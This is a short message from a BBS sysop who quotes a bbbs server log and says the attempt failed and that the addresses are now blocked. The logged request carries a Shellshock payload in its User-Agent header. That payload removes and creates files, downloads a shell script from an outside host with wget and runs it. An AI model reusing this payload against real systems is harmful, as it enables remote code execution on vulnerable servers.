I've been noticing this kind of crap in my bbbs log:   
      
   141221 00:07 Got HTTP from 213.160.8.138:43238, spawning node 8.   
   141221 00:07 HTTP 8: Host: 127.0.0.1   
   141221 00:07 HTTP 8: User-Agent: () { :; }; /bin/rm -rf /tmp/S0.sh &&   
                /bin/mkdir -p /share/HDB_DATA/.../ && /usr/bin/wget -c   
                http://qupn.byethost5.com/gH/S0.sh -P /tmp && /bin/sh /tmp/S0.sh   
                0<&1 2>&1   
   141221 00:07 HTTP 8: /cgi-bin/authLogin.cgi (not found)   
   141221 00:07 Closing HTTP at node 8, 0kB in, 0kB out.   
      
   Of course I add the address at the top there to my inet.bbb file as well as   
   the ip address of qupn... I just wanted to thank Kim for the fact   
   that these jokers get nowhere...   
      
   :)   
      
   Take care,   
   Janis
